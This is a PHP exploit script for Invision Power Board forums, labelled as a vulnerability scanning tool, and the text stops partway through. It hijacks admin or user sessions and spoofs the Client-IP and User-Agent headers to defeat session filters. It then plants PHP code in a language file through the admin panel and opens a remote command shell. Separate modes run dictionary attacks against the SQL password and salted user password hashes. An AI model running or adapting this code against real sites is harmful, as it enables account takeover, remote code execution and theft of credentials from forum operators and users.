exp.php

通用漏洞扫描工具

<?php
error_reporting(E_ALL ^ E_NOTICE);

# yeah ... it rox (:
class ipb_spl
{
	var $web;

	function main()
	{
		$this->mhead();
		
		# Gimme your args
		$this->p_attack = $this->get_p('attack', true);
		$this->p_prox   = $this->get_p('proxhost');
		$this->p_proxa  = $this->get_p('proxauth');
		
		$this->init_global();
		
		# Proxy params
		if( $this->p_prox )
		{
			$this->web->proxy($this->p_prox);
			
			if( $this->p_proxa )
			$this->web->proxyauth($this->p_proxa);
		}

		# Where do we go ?
		switch( $this->p_attack )
		{
			case 1:	 $this->code_exec();  break;
			case 2:  $this->bf_sql_pwd(); break;
			case 3:  $this->bf_usr_pwd(); break;
			default: $this->usage();
		}

		return;
	}
	
	function code_exec($loop=1)
	{
		# First loop
		if( $loop == 1 )
		{
			$this->set_sql_param();
			$this->set_sql_focus();
		
			$this->p_acp = $this->get_p('acp');
				
			# ACP path
			if( !$this->p_acp )
			{
				# If the user changed the ACP directory, we can
				# find it (if the "Remove ACP Link" option was not
				# applied) by log in as an Admin, and then click
				# on "Admin CP". This can be done with a user
				# but I didn't implemented that  ;) 
				$this->msg('Using default ACP path: admin', 1);
				$this->p_acp = 'admin';
			}
			else 
			$this->msg('Using ACP path "'.$this->p_acp.'"', 1);
		
			# Init client headers:
			# Only if we have the same IP as the targeted user (not admin),
			# it resets session datas, so we try to spoof our 
			# IP as a random one in order to keep user's session datas while
			# we bruteforce SQL fields.
			$this->bypass_matches();
		
			# Remove expired sessions ( time() - 60*60*2  =  > 2 hours )
			$this->web->get($this->p_url.$this->p_acp.'/index.php?');
			$this->msg('Removed all out of date admin sessions', 1);
		
			# Cookie prefix
			$this->get_cprefix();
		}
				
		# Admin session ?
		$this->msg('Trying to find an admin session id', 0);
		
		# Got one :]
		if( $this->get_admin_sess() )
		{
			$this->s_admin = true;
			$this->s_sess  = $this->data['a_sess_id'];
			$this->a_url   = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
		}
		
		# Nothing special
		else 
		{
			$this->s_admin = false;
			$this->msg('No admin session id found', -1);
		}
		
		# User session ?
		if( !$this->s_sess )
		{
			$this->msg('Trying to find a user session id', 0);
			
			# Yep
			if( $this->get_user_sess() )
			$this->s_sess = $this->data['u_sess_id'];

			# F0ck
			else 
			{
				$this->msg('No user session id found', -1);
				$this->msg('Admin session > 2 hours or user logged out', 0);
				$this->msg('Keeping trying until the user connects', 0);
				$this->msg('Entering loop #'.$loop.' ...', 0);
				$this->code_exec(++$loop);
			}
		}
			
		$this->msg('Getting security options', 0);
		
		# Security options
		$this->get_sec_options();
		
		# IP filter ?
		if( $this->conf['ip'] === '1' )
		{
			$this->s_bypass = true;
			
			$this->msg('IP filter option is turned on', 0);
			
			# Spoofing protection ?
			if( !$this->conf['xforward'] )
			{
				# Assuming our IP isn't the same etc..
				$this->msg('Can\'t bypass the IP filter', -1);
				exit(1);
			}
			
			# X-Forwarded-For / Client-IP /
			# Proxy-User / X-Cluster-Client-IP
			else 
			{
				$this->msg('Cool, we can spoof our IP (Client-IP)', 1);
				
				if( $this->s_admin )
				{
					$this->msg('Trying to find admin\'s last IP', 0);
					
					# Admin IP found
					$this->get_admin_ip();
					$this->s_ip = $this->data['a_ip_addr'];
				}
				else 
				{
					$this->s_admin = false;
					$this->msg('Trying to find user\'s last used IP', 0);
					
					# User IP found
					$this->get_user_ip();
					$this->s_ip = $this->data['u_ip_addr'];
				}
				
				# Nothing found
				if( !$this->s_ip )
				{
					# Ahah (:
					$this->msg('No IP found for this user', -1);
					$this->give_hope();
				}
				
				# Got one !
				else
				$this->msg('Ok, using IP '.$this->s_ip, 1);
			}
		}
		
		# User-Agent filter ?
		if( $this->conf['browser'] === '1' && !$this->s_admin )
		{
			$this->s_bypass = true;
			
			$this->msg('Trying to find a valid user-agent', 0);
			
			# Good
			if( $this->get_user_agent() )
			{
				$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
				$this->s_agent = $this->data['u_agent'];
			}
			
			# WTF :!
			else
			{
				$this->msg('No user-agent found for this user', -1);
				$this->msg('Maybe the browser didn\'t send this header', 0);
				$this->s_agent = '';
			}
			
		}

		# Cool !?
		if( !$this->s_bypass )
		$this->msg('Cool, nothing to bypass', 1);
		
		$this->msg('Trying to log in', 0);
		
		# Owned =]
		if( $this->is_logged() )
		{
			# PHP code
			if( $this->s_admin )
			{
				$this->msg('Logged in with an admin session', 1);
				$this->exec_code();
			}
			
			# Normal user ?
			else
			{
				$this->msg('Logged in with a user session', 1);
				$this->msg('You can log in using the cookie session_id', 1);

				if( $this->s_ip !== $this->def_ip )
				$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
				
				if( $this->s_agent )
				$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
				
				exit(0);
			}
		}
		else 
		{
			# Even if the admin logged out .. the admin session
			# is still valid  ;) 
			$this->msg('Can\'t log in, the session has expired ?!', -1);
			$this->give_hope();
		}
		
		return;
	}
	
	function bf_sql_pwd()
	{
		$this->p_ip    = $this->get_p('ip', true);
		$this->p_dict  = $this->get_p('dict', true);
		
		$this->p_sql_u = $this->get_p('sqlusr');
		
		$this->p_url   = $this->get_p('url');
		$this->p_uname = $this->get_p('uname');
		$this->p_pwd   = $this->get_p('pwd');
		// or 
		$this->p_uid   = $this->get_p('uid');
		$this->p_hash  = $this->get_p('passhash');
		$this->p_shold = $this->get_p('stronghold');
		
		if( $this->p_uname && $this->p_pwd && $this->p_url )
		{
			$this->get_cprefix();
			
			$this->msg('Trying to get some cookies', 0);
			
			$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
			$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
		
			$this->web->post($this->p_url.$g_dat, $p_dat);
		
			$this->p_uid   = $this->web->cookie[$this->s_cprefix.'member_id'];
			$this->p_hash  = $this->web->cookie[$this->s_cprefix.'pass_hash'];
			$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
		}
		elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
		$this->usage();
		
		if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
		{
			$this->msg('Can\'t get cookies', -1);
			$this->msg('You should try with other parameters', -1);
			exit(1);
		}
		
		$this->msg('Ok, using cookies:', 1);
		
		$this->msg('member_id='.$this->p_uid, 1);
		$this->msg('pass_hash='.$this->p_hash, 1);
		$this->msg('ipb_stronghold='.$this->p_shold, 1);
		
		if( !$this->p_sql_u )
		{
			$this->set_sql_param();
			
			$this->msg('Trying to get the current sql user', 0);
			
			if( !$this->get_sql_user() )
			{
				$this->msg('Can\'t get the sql user', -1);
				$this->msg('If you know the sql user, use -sqlusr', -1);
				exit(1);
			}
			else
			$this->p_sql_u = $this->data['sql_user'];
		}
		
		$this->msg('Ok, using sql user '.$this->p_sql_u, 1);
		
		$dico_c = file($this->p_dict);
		$ip_a   = explode('.', $this->p_ip);
		
		$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
		$this->msg('You should take a drink ...', 0);
		
		foreach( $dico_c as $line )
		{
			$md5 = md5(trim($line).$this->p_sql_u);
			$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
			$md5 = md5($md5);

			if( $this->p_shold === $md5 )
			{
				$this->msg('Found something cool =]', 1);
				$this->msg('SQL password: '.$line, 1);
				exit(1);
			}

		}
		
		$this->msg('End of the wordlist, password not found', -1);
		
		return;
	}

	function bf_usr_pwd()
	{
		$this->p_dict  = $this->get_p('dict', true);

		$this->p_hash  = $this->get_p('passhash');
		$this->p_salt  = $this->get_p('salt');
		
		if( !$this->p_hash || !$this->p_salt )
		{
			$this->set_sql_param();
			$this->set_sql_focus();
		}
		
		if( !$this->p_hash )
		{
			$this->msg('Trying to get the password hash', 0);
			
			if( !$this->get_pass_hash() )
			{
				$this->msg('Can\'t get the password hash', -1);
				exit(1);
			}
			else 
			$this->p_hash = $this->data['pass_hash'];
		}
		
		$this->msg('Ok, using hash '.$this->p_hash, 1);
		
		if( !$this->p_salt )
		{
			$this->msg('Trying to get the password salt', 0);
			
			if( !$this->get_pass_salt() )
			{
				$this->msg('Can\'t get the password salt', -1);
				exit(1);
			}
			else 
			$this->p_salt = $this->data['pass_salt'];
		}
		
		$this->msg('Ok, using salt '.$this->p_salt, 1);
		
		$dico_c = file($this->p_dict);
		
		$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
		$this->msg('You should take a drink ...', 0);
		
		foreach( $dico_c as $line )
		{
			if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
			{
				$this->msg('Found something cool =]', 1);
				$this->msg('User password: '.$line, 1);
				exit(1);
			}
		}
		
		$this->msg('End of the wordlist, password not found', -1);
		
		return;
	}
	
	function set_sql_param()
	{
		$this->p_url   = $this->get_p('url', true);
		$this->p_pre   = $this->get_p('prefix');
		
		# Table prefix
		if( !$this->p_pre )
		{
			# Default table prefix if not precised
			$this->msg('Using default table prefix: ibf_', 1);
			$this->p_pre = 'ibf_';
		}
		else 
		$this->msg('Using table prefix '.$this->p_pre, 1);

	}
	
	function set_sql_focus()
	{
		$this->p_uname = $this->get_p('uname');
		$this->p_uid   = $this->get_p('uid');
		
		if( $this->p_uname )
		$this->msg('Using targeted username '.$this->p_uname, 1);
		
		elseif( $this->p_uid )
		$this->msg('Using targeted user id '.$this->p_uid, 1);
		
		# Target
		if( !($this->p_uname || $this->p_uid) )
		{
			# Default uid if not precised
			$this->msg('Using default user id: 1', 1);
			$this->p_uid = 1;
		}

		# Focus on ?
		if( $this->p_uname )
		$this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
		
		else 
		$this->t_on = 'id='.(int)$this->p_uid;
		
		return;
	}
	
	function exec_code()
	{
		$this->write_code();
		
		while( $this->cmd_prompt() )
		{
			$this->web->addheader('My-Code', $this->cmd);
			$this->web->get($this->p_url);

			print "\n".$this->get_answer();
		}
		
		exit(0);
	}
	
	function get_answer()
	{
		$res_a = explode($this->res_sep, $this->web->getcontent());
		
		if( !$res_a[1] )
		return 'No result to retrieve';
		
		else 
		return $res_a[1];
	}
	
	function cmd_prompt()
	{
		$this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
		
		if( !ereg('^(quit|exit)$', $this->cmd) )
		{		
			$this->cmd = base64_encode($this->cmd);
			$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
			
			return TRUE;
		}

		else
		   return FALSE;
	}
	
	function write_code()
	{
		# Gimme the language ID
		$this->get_def_lang();
		
		# Current lang settings
		$p_dat =
		'code=edit2&act=lang&id='.$this->g_lid.'&section'.
		'=lookandfeel&lang_file=lang_boards.php';
		
		$this->web->post($this->a_url, $p_dat);

		# We collect each variable name / value
		if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
		{
			# POST data 
			$p_dat =
			'code=doedit&act=lang&id='.$this->g_lid.
			'&lang_file=lang_boards.php&section=lo'.
			'okandfeel&';

			# &Name=Value
			for( $i=0; $i<count($l_vars[0]); $i++ )
			{
				$p_dat .=
				'&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
				
				# We write our PHP code in the first variable
				if( $i == 0 )
				$p_dat .= $this->php_write;
			}
			
			# Go on
			$this->web->post($this->a_url, $p_dat);
			
			$this->msg('PHP code written', 1);
		}
		else
		{
			# WTF :!
			$this->msg('Can\'t find block variables', 0);
			exit(1);
		}
		
		return;
	}
	
	function get_def_lang()
	{
		$this->msg('Trying to get the set language id', 0);
		
		$this->web->get($this->a_url.'&section=lookandfeel&act=lang');
		
		if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
		{
			$this->g_lid = $lids[1];
			$this->msg('Using language id '.$this->g_lid, 1);
		}
		else 
		{
			$this->msg('Can\'t get the default language id', -1);
			exit(1);
		}
		
		return;
	}
	
	function is_logged()
	{
		$this->bypass_matches();

		# User session ok ?
		if( !$this->s_admin )
		{
			$match = 'act=Login&amp;CODE=03';
			$this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
			$this->web->get($this->p_url);
		}
		
		# Admin session ok ?
		else
		{
			$match = '&section=';
			$this->web->get($this->a_url);
		}
		
		if( preg_match("/$match/i", $this->web->getcontent()) )
		return true;
		
		else 
		return false;		
	}
	
	function bypass_matches()
	{
		# match_browser
		$this->web->agent($this->s_agent);
		
		# match_ipaddress
		$this->web->addheader('Client-IP', $this->s_ip);